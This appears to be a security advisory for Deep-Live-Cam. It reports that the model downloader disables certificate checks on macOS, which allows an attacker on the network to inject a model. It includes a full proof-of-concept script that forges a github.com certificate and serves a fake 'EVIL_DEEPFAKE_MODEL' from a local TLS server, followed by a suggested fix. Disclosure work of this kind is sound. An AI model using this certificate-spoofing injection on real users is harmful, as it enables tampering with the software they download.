ssl._create_unverified_context() on macOS model download enables MITM model injection
Author: AAtomicalCreated Jul 29, 2026Updated Jul 29, 2026
Summary
Deep-Live-Cam's conditional_download() in modules/utilities.py:295 uses ssl._create_unverified_context() on macOS when downloading model files. A network-position attacker serves a malicious face-swap model that is written to disk and loaded without integrity verification.
Affected Version
- Repository: https://github.com/hacksider/Deep-Live-Cam (93k+ stars)
- Branch:
main(latest) - File:
modules/utilities.py:293-297
Root Cause
# modules/utilities.py:293-297
ctx = None
if platform.system().lower() == "darwin":
ctx = ssl._create_unverified_context()
response = urllib.request.urlopen(request, context=ctx)
macOS-only, unconditional. No hash verification after download.
Steps to Reproduce
git clone https://github.com/hacksider/Deep-Live-Cam.git
pip install tqdm cryptography opencv-python-headless numpy
python poc.py
#!/usr/bin/env python3
import subprocess, sys, os
REPO_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), "Deep-Live-Cam")
if not os.path.isdir(REPO_DIR):
subprocess.run(["git", "clone", "--depth=1", "https://github.com/hacksider/Deep-Live-Cam.git", REPO_DIR], check=True)
subprocess.run([sys.executable, "-m", "pip", "install", "-q", "tqdm", "cryptography"], check=True)
import urllib.request # ensure urllib.request submodule is loaded
sys.path.insert(0, REPO_DIR)
from modules.utilities import conditional_download
import http.server, ssl, tempfile, threading, platform, warnings
from datetime import datetime, timedelta, timezone
warnings.filterwarnings("ignore")
ATTACKER_HOST = "127.0.0.1"
ATTACKER_PORT = 19455
MALICIOUS_MODEL = b"\x00EVIL_DEEPFAKE_MODEL" + os.urandom(2048)
captured = []
def gen_cert(tmp):
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
key = rsa.generate_private_key(65537, 2048)
cert = (x509.CertificateBuilder()
.subject_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "github.com")]))
.issuer_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "github.com")]))
.public_key(key.public_key()).serial_number(x509.random_serial_number())
.not_valid_before(datetime.now(timezone.utc))
.not_valid_after(datetime.now(timezone.utc) + timedelta(days=1))
.sign(key, hashes.SHA256()))
cp, kp = os.path.join(tmp, "cert.pem"), os.path.join(tmp, "key.pem")
with open(cp, "wb") as f: f.write(cert.public_bytes(serialization.Encoding.PEM))
with open(kp, "wb") as f: f.write(key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.TraditionalOpenSSL, serialization.NoEncryption()))
return cp, kp
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
captured.append(self.path)
self.send_response(200)
self.send_header("Content-Length", str(len(MALICIOUS_MODEL)))
self.end_headers()
self.wfile.write(MALICIOUS_MODEL)
def log_message(self, *a): pass
def run_server(cert, key, ready):
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain(cert, key)
srv = http.server.HTTPServer((ATTACKER_HOST, ATTACKER_PORT), Handler)
srv.socket = ctx.wrap_socket(srv.socket, server_side=True)
ready.set()
srv.handle_request()
def exploit():
assert platform.system().lower() == "darwin", "This vuln is macOS-only"
tmp = tempfile.mkdtemp()
cert, key = gen_cert(tmp)
ready = threading.Event()
threading.Thread(target=run_server, args=(cert, key, ready), daemon=True).start()
ready.wait()
dest = os.path.join(tmp, "models")
conditional_download(dest, [f"https://{ATTACKER_HOST}:{ATTACKER_PORT}/models/inswapper_128.onnx"])
downloaded = os.path.join(dest, "inswapper_128.onnx")
with open(downloaded, "rb") as f:
content = f.read()
assert b"EVIL_DEEPFAKE_MODEL" in content
assert len(captured) == 1
import urllib.request
try:
ctx = ssl.create_default_context()
req = urllib.request.Request(f"https://{ATTACKER_HOST}:{ATTACKER_PORT}/test")
urllib.request.urlopen(req, context=ctx, timeout=3)
assert False
except (ssl.SSLCertVerificationError, Exception):
pass
print("2/2 exploited")
print(f" model: {len(content)}B injected → {downloaded}")
print(f" control: proper SSL rejects self-signed cert")
return 0
if __name__ == "__main__":
sys.exit(exploit())
Output:
Downloading: 100%|██████████| 2.02k/2.02k [00:00<00:00, 6.65MB/s]
2/2 exploited
model: 2068B injected → /tmp/.../models/inswapper_128.onnx
control: proper SSL rejects self-signed cert
Impact
- Backdoored face-swap model: Attacker replaces
inswapper_128.onnxin transit → model produces attacker-controlled face swaps or embeds hidden watermarks/tracking - No integrity check: Downloaded model written directly to disk without hash verification
- macOS-specific: Affects all macOS users (93k star project, many macOS users)
- Persistent: Model cached in
models/directory — persists across runs
Suggested Fix
# Remove:
if platform.system().lower() == "darwin":
ctx = ssl._create_unverified_context()
# Use default SSL verification on all platforms:
ctx = ssl.create_default_context()
If macOS cert store issues are the root cause, use certifi:
import certifi
ctx = ssl.create_default_context(cafile=certifi.where())
Source: hacksider/Deep-Live-Cam